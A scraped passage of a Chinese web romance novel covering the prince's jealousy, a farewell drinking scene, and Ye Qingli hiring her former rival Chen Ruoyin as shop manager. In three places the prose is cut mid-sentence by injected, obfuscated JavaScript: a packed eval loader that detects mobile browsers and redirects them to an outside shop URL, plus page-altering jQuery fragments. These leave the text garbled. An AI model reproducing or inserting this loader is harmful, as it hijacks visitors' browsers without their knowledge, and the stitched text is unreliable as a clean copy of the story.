“嗨!圣上您还不了解我吗?我这人活得糙,养孩子也糙,她想嫁谁不想嫁谁全由她自己,我可做不到圣上对太子这般尽心尽力!” “哦?这可不行!”圣上咂摸一句,忽然坐直了身子,“今日正好朕在此,不如把那丫头叫上来问问可有什么心上人,若是刚好有看中的,朕立刻为她赐婚,权当是我这个做伯伯的一番心意!” 圣上起了兴致,自有人请楚楚郡主过来,一直关注着东门楚楚动静的太子见状不自觉紧张起来。 “郡主来京城也有半月有余,我南朝优秀男儿泰半在这猎场上了,郡主可有中意的?” 东门楚楚摇头,“没有。” “哦?”圣上忽然笑了,“郡主瞧不上他们,难不成是看中了太子?” 此言一出,在场多人皆紧张起来。 邱国公父女唯恐楚楚郡主点头,圣上一高兴就把她也赐给太子做太子妃,到时候他们到手的太子妃之位就没了。 宗政景宏也目不转睛看着这处,既希望东门楚楚说是,又怕她点头之后父皇当场起了杀心! 叶青漓坐得远,有些听不太清上面人的讲话,不过她仅从几人的表情观察也能大概猜出一二。此刻她也揪心地攥着拳,生怕楚楚郡主说错一句话! 东门楚楚没注意到其他人的脸色,沉浸在自己的思绪中。 “臣女并非看不上京城的男儿,只是自幼看惯了我父亲那般的男子,看其他人便觉得哪哪都有些不顺眼。臣女想了想,还是回南疆找个如父王一般的吧!” 听得这话,圣上下意识仔细看了眼镇南王。 镇南王咧嘴一笑,朝他眨了眨眼睛。 圣上从他那粗糙犹如山川黝黑可比冬夜的皮肤,看到不刻意用力也瞪得几乎突出来的硕大眼珠,再到他那遮住五官,几乎看不清脸的浓密大胡子,狠狠倒吸一口凉气! 这楚楚郡主的眼光怎么和镇南王妃一样刁钻! 怪哉! 善哉!!! 宗政景宏暗了一日的双眸彻底没了光彩! 脑中始终重复着一句话: 她不喜欢我! 67. 共醉 席上后来发生了什么,太子已经毫无印象。 他脑海中反复重复着楚楚郡主在圣上面前说的话,失魂落魄了一下午。 烈日缓缓西斜,围场上的侍卫们已经开始收拾东西。 如今日头一日比一日炎热,太子妃又已经选定,圣上已经迫不及待去避暑,明日就要启程。 宗政景宏在营帐里坐了一日,直到重重积云再次掩盖住圆月的光彩,才终于有了动作。 开口的声音已经沙哑,“来人。” 守在门口的侍卫立刻回应,“殿下。” “去把顾承宴叫来。” 侍卫望了眼天色,顿了顿,“现在?” 宗政景宏抬起眼,眸中满是猩红的血丝,“孤的命令你都不听了吗?” “不,不敢,属下这就去!” 侍卫得令,匆忙赶到顾承宴营帐前,将他从睡梦中吵醒。 好不容易能抱着叶青漓睡个好觉,顾承宴骤然被惊醒,一向淡然的人也不由生出几分烦躁。 “何事?” “太子殿下请您过去。” 顾承宴闭上眼深吸了口气,“等着!” 叶青漓睡得正香,听见身边人起身后,揉了揉惺忪的睡眼,“怎么了?要出去吗?” 顾承宴已经尽量放轻了动作,没想到还是吵醒她,忙回身在她额上印下一吻。 “没事,只是太子找我有些事,你先睡吧,我马上回来。” 叶青漓闻言不再多问,半睁着眼睛看着顾承宴走出去才再次躺好。 只是身边没了另一个人的体温后,睡意竟也渐渐消失。 她躺在床上无聊地眨着眼睛,开始细数防蚊帐纱上的并蒂花纹,营帐外忽然再次传来响声。 “青漓,你睡了吗?” 是楚楚郡主! 叶青漓瞬间从床上坐起,回了一句,“还没有。” “那你能出来陪我喝杯酒吗?” 叶青漓想都没想便应下,待出门看见楚楚郡主的样子后忽然觉得有些头疼。 她一身酒气,小脸酡红,唯有眸光依旧清亮诉说自己的清醒。 她下意识伸手去扶,“你怎么喝了这么多酒?” 楚楚郡主摇头,冲着叶青漓保证,“不多,你放心我很能喝的!” 她挽着叶青漓往前走,嘴角带着笑。 “我看见太子的人把你夫君叫走了才来的,刚好我明日就要走了,今夜你就陪我不醉不归吧!” 叶青漓脚步顿住,有些惊讶地看着楚楚郡主。 “走?郡主要去哪?” “回南疆啊!” * 顾承宴走进太子营帐,神色冰冷。 “不知太子有什么大事要臣深夜来此?” 宗政景宏像是没听出他话中不满,盯着他问道:“有什么办法能让孤娶到楚楚?” 顾承宴皱眉,“圣上已经定下太子妃人选,此事已经没有转圜余地。” 想到自己半夜还要被叫来看某人发疯,顾承宴神色更冷了几分,“何况郡主今日说过并不喜欢殿下。” “孤不管!”宗政景宏被刺到痛处,当即气得跳脚,“哪怕她不喜欢孤,孤也要得到她!” “你是孤的谋士就该有为主君献计的自觉,若是非要逼着孤娶那个邱慧怡,那孤就只能娶一个死人回来了!” 宗政景宏几乎已经陷入疯狂,顾承宴眉头不自觉皱得更紧。 听他的意思,似乎已经打算破罐子破摔! 顾承宴有些头疼,只好改了话锋。 “圣上虽然定下人选,却也只是口头约定。从我们回宫到圣旨发出,期间还有许多时间可以动作。殿下做事何必那么极端?” “只现在最重要的是殿下如何能够在这么短的时间内获取郡主的芳心,否则她不喜欢你,你二人结成夫妻也只会是一对怨偶!” “殿下觉得呢?” 宗政景宏细想觉得顾承宴说得有道理,于是沉默了。 顾承宴看了他一眼,继续道:“殿下如果真的非郡主不可,为何不先问问郡主的意思?虽然她亲眼目睹你向邱姑娘表白的全貌,但那只是一个意外不是吗?只要殿下肯说,其中误会一定能够解开!” “这个不难!”太子眸间微亮,顷刻间又覆上暗色,“可她白日已经说得很清楚了,她不喜欢我。” “白日那是圣上问的,圣上手握天下,对镇南王是什么态度,殿下难道不知?郡主虽是女子,却绝非无知之辈,她在圣上面前说得那些,不见得是真心话!” 见对方还在犹豫,顾承宴再添一剂猛料,“还是说殿下连问出口的勇气都没有?” “若是如此,也别再让微臣出谋划策了,不如趁早放郡主回南疆,寻个镇南王般的男子,微臣觉得说不定也很相配!” “休想!!!” 太子被激怒,果然拍案而起。 “有孤在,她别想嫁给其他男人!” “孤现在就去找她说清楚,哪怕她拒绝孤,孤也要留下她!” * 叶青漓被楚楚郡主带到一处僻静的山坡上。 正值半夜,此处不见一个人影,身边只有夏蝉和不知名的小虫鸣叫的声音,一唱一和,格外嘹亮。 楚楚郡主铁了心想喝醉,不知何时已命人搬来许多瓶酒,叶青漓随意一瞥,已经能预想到自己明日酒醒后的茫然。 不过这顿酒也算是为好朋友送别,所以她并未犹豫,两人坐在山坡上,拿起酒瓶就开始干。 叶青漓是用喝的,楚楚郡主却是直接大口闷,大约是南疆女子的天赋,她脸蛋红得厉害,眼神却一直清醒。 叶青漓能感受到她此时不太开心,没有多说,只是安静地陪着她喝。 直到楚楚郡主感到几分醉意,叶青漓才开口。 “郡主回南疆后打算做什么?” “自然是找个男人嫁了!” “那我在这里先祝郡主早日找到自己喜欢的人!” “喜欢的人……”楚楚郡主呢喃一句,“喜欢的人哪是那么好找的?” “好不容易找到一个,得先忘了他,才能去找下一个的!” 叶青漓沉默。 大约书中的剧情多多少少还是起了些作用的,楚楚郡主还是喜欢上太子了。 见叶青漓不再说话,楚楚郡主主动开口打破沉重的气氛。 “你有喜欢的人吗?” 叶青漓一愣,随后点头。 “有。” “是你的夫君?” “嗯。” “你喜欢他什么?” 楚楚郡主问得随意,叶青漓脑海中却已经不自觉开始闪现两人相遇以后的场景。 “我喜欢他哪怕不喜欢我的时候也会尊重我,在我有需要的时候都会出现,我遇到困难时他也会主动提出解决方案,哪怕是遇到旁的女子主动示好,他也会立刻拒绝,从不会让我有一点烦心。” “他温柔体贴,处处细心,才华横溢,又生得好看,对我也一向有问必答,从不敷衍,我想不出不喜欢他的理由。” “你的夫君……这么完美?” 楚楚郡主歪着头,凑到叶青漓近前,带着一身酒气,“他身上难道没有一点缺点吗?” 这个问题问得着实难答! 叶青漓快速喝了一口酒,看着楚楚郡主那双染上酒意的眼睛,想到她如今正受着情伤心里难过。 于是又喝了口酒,苦笑着说,“有!他不行!” “什么?!” 楚楚郡主大惊,浑身酒意醒了大半! “真的假的?顾国公府的大公子竟然不行?!” 叶青漓被这动静吓了一大跳,忙上前捂住她的嘴巴,“你别说!别说出去!” 在两人不远后的某棵大树旁,宗政景宏原本一脸苦大仇深,听得这句话,忍不住低头看了眼顾承宴腹下三寸,忙强忍着笑意努力绷直嘴角,却不知眼尾的弧度已经出卖了他。 顾承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346430|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴黑着一张脸,他从未想过自己在叶青漓心里竟然是这种形象?可她既然认定自己不行,为何还愿意答应自己的表白? 楚楚郡主也是这么想的! 她轻易扯开叶青漓放在自己嘴上的手,认真又大声地询问。 “既然他不行,那你为什么还要做他的妻子?那岂不是要守一辈子活寡?” 太子无声笑得更加放肆,嘴角不停抽搐,眼中笑出泪花来。 顾承宴的脸色则越发难看,眉心蹙成个川字。 叶青漓再次捂住楚楚郡主的嘴,凶巴巴道:“不准这么说我夫君,他是世界上最好的夫君!只要我们心意相通,哪怕一辈子守活寡我也认了!” 楚楚郡主越发震惊,母妃从小告诉她,挑夫君要挑抗事能干的,叶青漓的夫君怎么看都不符合这两条! “你就这么喜欢他?” 叶青漓点头。 “郡主以后就会知道的,真的喜欢上一个人,哪怕他身上有再多缺点,你也能接受。” 太子惊讶挑眉,没想到这个叶家随便认来的义女竟然对顾承宴如此情深义重? 顾承宴的脸色也终于好看一些。 楚楚郡主闻言若有所思。 “其实……我也喜欢上了一个人,可是为什么我不能接受他的缺点?” “是谁?” 太子这一刻忽然提心吊胆,楚楚郡主却没说名字,痴痴笑着道:“他也有好多优点!” 她掰着手指数起来,“他文武双全,知人善用,他还满腔抱负,胸怀天下,他将来一定是个好皇帝!” 楚楚郡主忽然萎下来,噘着嘴道:“可缺点是……他以后做了皇帝,就会有三宫六院,佳丽三千,我不喜欢!” 叶青漓了然,她就说自己没有看错,这些时日楚楚郡主看见了太子的优秀,自然被他吸引。 只是这个问题她给不出答案,如果喜欢一个人喜欢到能与人分享的地步,叶青漓私以为这份喜欢是畸形的! 她无法帮楚楚郡主解决烦恼,又不想让她带着遗憾回南疆,愁得整张脸皱在一起。 楚楚郡主瞧见后,连忙补充。 “不过没关系,我也不是非他不可!等我回了南疆,会遇见更多更好的男子陪在身边!再不行,我去游山玩水,总能潇洒一生!” 叶青漓连连点头,“郡主说得对!咱们又不是生来就为男子而活的,既然有缘无分,那就放过彼此,过自己喜欢的生活去!” “你像我,虽然我现在很喜欢顾承宴,但是人心易变,谁知道他以后会不会也有三妻四妾?要是真有那一天,我就一脚踹了他,把我的铺子开遍全国,到时候去周游世界!” “对!到时候你就可以来南疆找我玩,我是南疆郡主,没有人敢不听我的,到时候我给你找更多更好的男子!” “对,找更多更好的!要镇南王那样的!” “哈哈哈哈!才不要我父王那样的,我那是骗圣上的!” “郡主这话要是叫王爷听见,他可该伤心了!” “他才不会呢!这世上只有我母妃看得上我父王,有母妃在,父王才不在乎别人怎么看他!” “哈哈哈哈哈!王爷大气!” “不提我父王了,来,为了我们的新生活,干杯!” “干杯!” 两人一杯接着一杯,很快叶青漓率先倒下,楚楚郡主看她喝醉,醉醺醺嘲笑起来。 “哈哈哈!我就说我酒量很好,你还不信,现在醉了吧?” 忽然视野中出现一个身影,将醉倒的叶青漓抱了起来。 楚楚郡主看着将无知无觉的叶青漓抱在怀中的顾承宴,忽然想起另一个男人,小声道:“只是有点可惜,可惜他不记得我了……” 说完一个醉嗝,也一头醉倒在地上。 顾承宴抱着叶青漓,看了眼站在树后激动得有些痴傻的太子,忍住想要踢他一脚的冲动。 “殿下如今已经听明白了,知道自己该怎么做了吧?” 68. 陈若茵 顾承宴一路抱着叶青漓回了营帐,将人放在柔软的床榻上,刚一起身,袖间感到一阵拉扯,是叶青漓不知什么时候拽住了他的衣角。 顾承宴轻轻抬手将自己的衣角扯出,再慢慢将叶青漓身体放平,脱下鞋子,细心为她盖上薄被,才坐在床边专心观察他的妻子。 今夜十六,圆月高照,明亮月光洒进帐内,透过并蒂莲花纹床幔落在叶青漓身上。 一张白皙小脸上两团红晕,卷曲的长睫毛盖住了那双会说话的眼睛,大约没脱衣服睡觉有些不舒服,挺翘的鼻子忽然抽了下,一张小嘴嘟囔着,也不知还要说什么惊天言论。 顾承宴俯身附耳过去,什么也没听清,只感受到带着酒气的温热吐息落在脸上。 一直紧抿的唇忽然微微勾起,眸间闪现几分宠溺。 “你怎么会觉得我不行呢?” 烂醉如泥的女人半张着唇无法回答这个问题,顾承宴也不需要她现在回答。 他屈起手指,在那张红唇上轻碾了一下,像是下定了某种决心,再次俯身印下一吻。 “放心,不会让你失望的。” * 翌日,艳阳高照。 叶青漓在大床上醒来时,身边早没了顾承宴的身影,她茫然地看着四周,一点都想不起来自己是怎么回来的。 忽然营帐被人掀开,采莲走了进来。 “小姐,你可算醒了,圣上已经出发去避暑山庄了,太子殿下吩咐半个时辰后启程回京呢!” “哦。” 叶青漓呆呆地下了床,洗了把脸后才清醒一些。 “夫君呢?” “大公子一早被太子殿下叫去了,现在应该还在太子营帐中。小姐快些收拾,咱们也该回去了!” “好。” 叶青漓将行礼收拾好后,一出门就遇上即将启程回南疆的楚楚郡主,太子正代表圣上送别,顾承宴就在他身后。 楚楚郡主见到叶青漓出现,忽然间眼前一亮,然而下一刻,她的目光就变得怪怪的,而且每看叶青漓一次,就会悄悄偷看顾承宴一次。 叶青漓扭头去看顾承宴时,男人对她微微一笑,好像丝毫没有察觉到楚楚郡主那有些明目张胆的举动。 更怪的是楚楚郡主看向太子的眼神。 叶青漓记得昨日楚楚郡主因为太子选定太子妃来找自己喝酒,她明明对太子还是有些喜欢的,今日再看那双眼睛里却淡淡的,什么喜欢失落都没了,好像两人从来都不认识。 太子也有点怪,昨日圣上将郡主叫上去问话时,叶青漓记得他很是紧张,如今与楚楚郡主相对而视,淡定从容,彬彬有礼,似乎昨日那个失去光的人不是他。 自己不过喝了次酒,怎么醒来每个人都不一样了? 无论叶青漓如何疑惑,夏猎正式结束,叶青漓与顾承宴也回了京城。 刚回到府中,叶青漓就收到两个好消息。 一是申氏在经过几天和夫君父亲的商量后,终于决定和叶青漓一起合伙开酒楼! 二是霓裳阁对面的馥春斋终于关门了! 对于申氏的手艺,叶青漓是信得过的。她从前有开酒楼的经验,手里又有本钱,再加上申氏传家的手艺,基本无需太过担心。 霓裳阁的事却有点出乎她的意料,不只是因为叶蕙珠的铺子倒闭,更因为表姑娘陈若茵。 霓裳阁内,叶青漓坐在中间,马娘子站在一旁,陈若茵则再一次跪在叶青漓面前。 听说陈若茵是犯了错被罚来做苦力的,马娘子对她丝毫没有手软,什么脏活累活都交给她干。 胭脂铺做的是脂粉生意,脏的东西没有,重的东西却一大堆,一个月下来,陈若茵身形消瘦许多,一双杏眸不似初见时裹满算计,里面是平静和淡然。 “一月时间已到,你的惩罚结束了,你老家的情况我已经派人了解,那两个与人结阴亲的叔伯已经替你报官,招婿一事,你是想在京城招还是回老家?” 陈若茵摇头,“我不想招婿。” “难不成你还想做顾国公府的妾?大宅门里的妾室可不是那么好做的!”叶青漓意外地看了马娘子一眼。 “我不想招婿,也不想做妾,我想和表嫂学着做生意!” 叶青漓挑眉,马娘子更快一步。 “你以为你是什么人?不过沾了点亲戚关系就想来霓裳阁分一杯羹吗?” 陈若茵连忙解释,“我有钱,我可以出资!” “叔伯急着把我卖给别人配阴婚,就是为了侵吞父母留给我的祖产,所有老宅,店铺,良田庄子变卖后共有五千两,我愿意将这五千两全都拿出来,只求表嫂能给我一个能跟着你的机会!” “才五千两就想从霓裳阁学走配方,痴心妄想!” “我不要配方,也不想做第二个馥春斋,若是表嫂愿意,以后我就是店里的一个伙计!采花,调制,配色,算账我都能做!” “你空口说说,谁能信你?若是东家现在信了你,日后你卷走配方一走了之呢?” “我愿意立下字据,若有违背,但凭表嫂处置!” “万一你……” “马娘子不必多说了。”叶青漓抬手叫停两人对话,意味深长地笑了一下,“这主意是你们谁先想出来的?” 闻言陈若茵始终淡定的脸上终于浮现一丝慌乱,放在膝上的双手也不自觉攥起。 马娘子更是沉不住气,直接跪了下来。 “东家恕罪!我只是见陈姑娘实在可怜,一时心软,才……” “你不必解释,我没有怪你的意思。”叶青漓她眨眼轻笑一记,侧眸看向陈若茵,“我只是好奇,你为何忽然有了跟着我做生意的想法?” “是,是因为陈姑娘父母已逝,她说那些银钱放在她那也是留不住,与其如此不如拿给东家,东家向来最是仁善,兴许还能用这些钱赚到更多的钱,我也想着此法合理,便同意了。” 马娘子急着为陈若茵解释,叶青漓却并未看她,目光始终落在将唇咬得发白的陈若茵身上。 “陈若茵,告诉我当真如此吗?” 骤然听见自己的名字从叶青漓口中说出,陈若茵眼睫颤了颤,而后轻轻摇头。 “不是,是我骗了马娘子!” “什么?” 自己的伪装再一次被人戳破,陈若茵不再纠结,终于抬眼对上叶青漓的视线,眸中仍有些许倔强。 “父母双双去世后,我察觉到叔伯预图谋不轨,便计划逃离,目标就锁定在顾国公府,打算趁府中世子未定,浑水摸鱼,定居京城。来京城之前我曾仔细调查过府内各人的身份,性情,其他人都和调查结果并无二致,唯有你和顾承宴不同。” “哦?”叶青漓勾唇,“如何不同?” “我听说顾承宴曾经做过道士,不近女色,可看他娶了妻,便想着那些都是谣传。未料到进府后想要亲近他竟真的这么难!”提起此事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369522|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈若茵脸色更白了几分。 “你的出身以及顾叶两家换亲一事我亦了如指掌,初时我并不把你放在眼里。”陈若茵顿了顿,“在我看来,你不过是运气好,被叶大人看上顶了这婚事的缺。若当初被换亲的人是我,我也能做这顾府大少奶奶!” “可后来在府中住的日子越久,我越发觉得不对。你并非目不识丁的粗俗女子,相反你管家理事十分娴熟,府里下人对你也十分恭敬佩服。哪怕赵夫人掌管顾府几十年,一朝病弱手中大权依旧尽归你管。” “她对你十分忌惮,忌惮到哪怕逼我用上漏洞百出的春药,也要离间你和顾承宴,不想让你再做顾承宴的助力!” “从那日事发我被顾承宴逼着赶出府,到今日你面带笑意听我说这些话,这其中的许多事,我都做不到你这般!” 头一次从‘情敌’口中听到这番话,感觉实在不错,叶青漓笑得眯起眼睛。 “到底哪些事,能不能具体讲讲?” 陈若茵呼吸一滞,以为叶青漓是想看她笑话,她将指尖攥得发白,直接破罐子破摔。 “若我是你,不会拦着顾承宴将企图爬床的表妹赶出府,也不会在她求死后派人医治,更不会将她放进自己火爆京城的铺子里,一边惩罚她,一边让她看到这间铺子赚钱的能力。” “从小阿娘就告诉我,女子长大后便要嫁人,必须牢牢握住夫君的心,才能相夫教子,终此一生。我听了阿娘的话,甚至为此不惜牺牲女儿家清白,可到头来还是什么都没有。” “凭什么你不用费力拢住丈夫的心,就什么都有了?凭什么你连做生意都如此简单,对面的馥春斋想模仿都模仿不来?我自问相貌才学不比你差,若我也能拿到霓裳阁的配方,一定不会比你做得差!” 马娘子终于听出不对来,指着陈若茵问道:“你不是说你是诚心悔过,从前都是被人逼到那个份上,以后只愿和我一起,留在铺子里帮东家挣钱吗?” “难道那些话都是骗我的?” 陈若茵咬紧牙关,没再开口。 “她没有骗你。” 叶青漓看着大受伤害的马娘子,十分‘善良’地又补上一刀,“她所说处境是真,之前起了心思想趁机留在顾家是真,后来受罚来做苦力是真,趁机博取你的同情想要盗走配方也是真!” “甚至她在拿到配方后还想过将它偷偷卖给馥春斋,进而搞垮霓裳阁!” 马娘子闻言霎时间脸色一白,一想到自己曾经给陈若茵透露过霓裳阁的配方,当即懊悔不已。 “东家,我错了!都是我的错,我不该轻信这个女人!” 陈若茵闻言亦是心头一凉。 “你一直都在派人监视我?” 叶青漓微微一笑,“非常人物自然要用非常手段,你在顾府有前科,我也是怕你在我铺子里随手撒点东西,那不就损失惨重了?” 陈若茵被她一噎,瞬间说不出话来。 她原本打算让马娘子配合自己留在霓裳阁,进一步获取叶青漓的信任,将全部配方拿到手后,再远离京城,自己开一家铺子。 没想到自己的一举一动都被人看在眼里。 陈若茵强大的自尊心受到打击,一双眸子也变得幽怨不已。 “既然你都知道了,还与我多说什么?要打要杀随便吧!” 叶青漓却摇摇头,缓缓开口,“我不会打你,更不会杀你,我想请你留在霓裳阁,做霓裳阁的二掌柜。” 69. 留下 陈若茵抬眸,眼中满是惊诧之色。 马娘子亦是十分不解,“东家这是为何?” 叶青漓缓缓解释,“这就要问陈姑娘她做过什么了。” “我?”陈若茵越发迷惑。 自己来霓裳阁不久,大多时间都因为叶青漓的惩罚过得苦不堪言,唯有获得马娘子信任后轻松了几天,可那之后,自己也一直在琢磨如何将配方全偷过来,并没做过别的。 她陷入回忆,找不到一点答案。 叶青漓也不再卖关子。 “在你来到霓裳阁之前,我已经悄悄吩咐过人仔细观察你的一举一动。你的确为了得到配方欺骗了马娘子,可你也做了些其他的不是吗?” “比如,你那个从小跟在身边的丫鬟,我记得她起先是和你一起来霓裳阁的,为何今日我却没有看见她?” 这一点马娘子十分清楚,“之前她身边是有一个丫鬟,无论我吩咐什么活计给她,那丫鬟都抢着帮她干,结果那丫鬟自己就是个体弱的,不过两天就病倒了,之后我就没瞧见了。” 马娘子对那丫鬟并不十分关注,毕竟叶青漓只交代要惩罚陈若茵一人,若是那丫鬟不愿意来,也是她的自由。 陈若茵闻言低下头去,目光低沉。 “她是自幼跟我一起长大的,在我身边从来没过过什么好日子,陪我千里迢迢来到京城,却先因为我下药失败遭了顾国公府一顿毒打,又陪着我来这铺子受累,将自己累得病倒。” “我不想继续耽误她,便放了她的身契让她回家了。” “她临走之前,你是不是还送了她一些银票?” 陈若茵皱眉,“这个你也知道?” 叶青漓淡淡一笑,“只是监视你的人比较靠谱罢了。” “那是你仅剩不多的积蓄,你将银子全给了她治病赶路,你以后怎么办?” 陈若茵咬牙别过头,“这与你无关!” “当然有关系!” 叶青漓慢慢道出陈若茵曾经的猜想。 “我虽开口为你招婿,可你在顾府做过的事情任哪一个当家主母都不会轻易原谅,所以你觉得之后必会遭到我的报复,与其连累小丫鬟,不如放她自由身,让她早早解脱。” “至于你,你发现霓裳阁生意如此火爆与配方脱不了关系,打算借着马娘子的信任先在霓裳阁拿到配方。若是我出尔反尔对你不利,你便可以借着配方打我一个措手不及!” “毕竟,对面的馥春斋一直虎视眈眈不是吗?” 陈若茵咬着唇,没有答话。 “为什么最后没有把配方卖出去呢?”叶青漓继续问道:“虽然你手中配方不全,但是凭那几款足以在馥春斋卖个不错的价钱,顺便能让我的霓裳阁遭到重创不是吗?” “是不忍心吗?” 叶青漓说着看向跪在陈若茵身旁一脸茫然的马娘子。 再一次被叶青漓说中心事,陈若茵泄气般瞪了她一眼。 “你说得没错,我是不忍,但更多的是因为馥春斋不值!” “馥春斋虽然开在霓裳阁对面,打着胜过霓裳阁的名号,但是里面的东西质量参差不齐,没有完整的配方,做出来的东西也差强人意。” “可对面的东家好像根本不知道这个问题,为了获取利益,甚至用了更多更廉价的原料,我去过馥春斋,以她们的经营手段,哪怕拿到配方,过不久也要倒闭!” “既然如此,我何必多此一举,不如自己拿了配方去开铺子!届时我一定能做得比你好!” 叶青漓淡定自若,“你怎么就知道自己一定能比我做得更好?” “那是因为……!” 陈若茵有些激动,愤愤咬了咬牙,不愿再多言。 马娘子从旁听着,低头柔声说道:“是因为有一次店里来了客人,我按照东家教的方法将铺子里的东西给她试了个遍,却总也无法让那位客人满意。” “后来是她给我出的主意,重新为客人试了妆,这才做成的那单生意。” 马娘子情绪有些低落,“我也是为此对她刮目相看,此后经常将她叫到前厅为客人推荐东西。” “陈姑娘聪慧,学东西快,脑袋也灵活,咱们铺子里三个人都抵不上她一个。” “我也是因为这个才生了将她留下的心思,只是没想到,她竟是骗我的……” 马娘子解释完,深深看了陈若茵一眼,陈若茵感觉她的目光,再次将头扭过去不敢看她。 叶青漓笑得很是欣慰。 “这不就得了!” “你身上没钱,家里没人,手握不全的配方想要开店,我刚好有钱有人有配方,还有一家店,你留下做二掌柜帮我经营铺子不是刚刚好?” “可……”陈若茵紧紧皱着眉,眸中满是不解,“我可是差点偷走你的配方跑路,你竟如此放心我?” “我不是放心你,我是放心我自己!” 叶青漓说着,就着桌案上的纸笔就写起来,不过几个呼吸的功夫,一张全新配方就跃然纸上。 她将其递到陈若茵面前。 “喏,霓裳阁的配方全在我的脑子里,你偷走多少,我照样还能写出多少。等你从零开始,做到霓裳阁这个规模,我估计我也不在乎这点损失了。” 她想了想,又补上一句,“只要你不是像馥春斋一样开在我对面明目张胆和我做对家,其实我也不会很介意。” 陈若茵目瞪口呆看着那张字迹未干的纸,忽然觉得这些天绞尽脑汁偷配方的自己有些傻。 她望着叶青漓,还有些不甘心道:“你就不怕将我留下后,万一我哪天故技重施,将你的丈夫勾走吗?” 提到顾承宴,陈若茵瞬间觉得自己终于掌握了主动权,眼中得意起来,“说起来,顾国公府大少奶奶的位置,可比一家胭脂铺的老板娘有吸引力多了!” 这话说得大胆,一旁本来放下心的马娘子闻言瞬间紧张不已。 “你这是说得什么话?东家夫妻二人关系好着呢,哪里轮得到你来挑拨?” 叶青漓看着一脸倔强的陈若茵,再次勾唇。 “你愿意的话,尽可以试试好了,如果他那么轻易就能被你勾走,我想他也不值得我稀罕。到时候说不定我会为了感谢你让我看清另一半,主动送上几个新配方!” 陈若茵一噎,觉得心口堵得慌! 叶青漓却不打算继续与她浪费口舌了,霓裳阁有她是锦上添花,没她照样开得芬芳。 “所以你决定好了吗?要不要留下来做霓裳阁的二掌柜?” 马娘子陪着陈若茵跪在地上,虽然知道对方骗了自己,可这一刻她眼里依旧充满期待。 陈若茵不明白这位表嫂为何愿意给自己这么多改过自新的机会,但她隐约意识到,这是最后一次了! “我愿意,不过我有个条件!” “你说。” “我愿立下军令状,在我上任一年时间内,让霓裳阁的营业额翻倍,若是无法达到,我那价值五千两的祖产愿意全数送给你,若是我做到了,你得按照市值将我那五千两入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389930|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股!” “看来陈姑娘志向不只在一个掌柜啊!”叶青漓并不意外,唇角微勾,“成交!” 三人快速拟定契约,将上述所有条件陈列其中,按完手印后,陈若茵忽然有种想要流泪的冲动。 她来京城之前是抱着破釜沉舟的想法的,哪怕是不要名声,舍了脸面,做自甘下贱的妾室,她也不要再回到那个老家,由着别人将自己卖了配阴婚。 未曾想,自己有一天还能堂堂正正凭自己的本事,做一店掌柜! 她看着手里的契约书,喉间一阵哽咽。 “若茵多谢表嫂大恩!” “快起来!” 叶青漓眼疾手快把人扶起来,“以后都是自家人了,不用这么客气。” “你那个生病的丫鬟一直惦记着你,刚离开京城不久就掉头返回了,不过她病得实在厉害,所以我派人将她拦下来照顾着,等今晚你回去后就能看见她了!” 闻言陈若茵鼻头又是一阵发酸,父母离世后,那已经是自己唯一的亲人了!哪怕自己下定决心要做一个坏女人,她都对自己不离不弃。 如果不是实在对前路迷茫,自己一定不会让她离开! 一直压在心头的乌云终于散去,陈若茵终于露出一个真心的笑容,唇角弯弯,显出两个小小的酒窝。 目送马娘子带着陈若茵离开后,叶青漓在空荡的房间里叹了一口气。 留下陈若茵的原因有很多: 她聪慧识字,读书明理,算账管事样样都行,而且她的大胆镇定正是马娘子最欠缺的。 她有另一番审美,能给霓裳阁带来更多客人也是事实。 但最最重要的,是叶青漓在她身上看见了自己的影子。 上一世自己骤然来到这个世界,身边只有娘亲陪着她,好不容易娘亲的温柔慈爱抹去了异世带给叶青漓的惊恐,可多年的劳累竟一下子将那个慈祥的娘亲带走! 叶青漓一瞬间陷入恐慌,随之而来的却是绝望。 曾经对她笑得温和慈善的乡亲们,竟然和陈若茵的叔伯一样,打着将叶青漓卖掉的想法。 而今世界,她一介孤女,没了双亲庇佑,仅是一个无良乡正的一句话就能要了她的性命! 叶青漓情急之下猛然忆起娘亲偶尔提到的父亲,便拼尽一切来到京城想要寻亲。 悲哀的是她没有找到那个亲生父亲,幸运的是一个大官将流落在街边的她带回了家。 如果不是叶青漓后来发现这是一个书中世界,在原书剧情的推动下走向既定轨道,也许上一世的她会和陈若茵一样为了活着不择手段! 因为活着对于她们来说已经很艰难了! * 从霓裳阁出来时,叶青漓有些惊讶地看着眼前人。 “夫君?你怎么来了?” 顾承宴笑着向叶青漓走来,“刚好路过,听说你来看铺子,顺便来接你。” “夫君今日不用忙吗?” “太子给我放了假。” “放了多久?” “十日。” 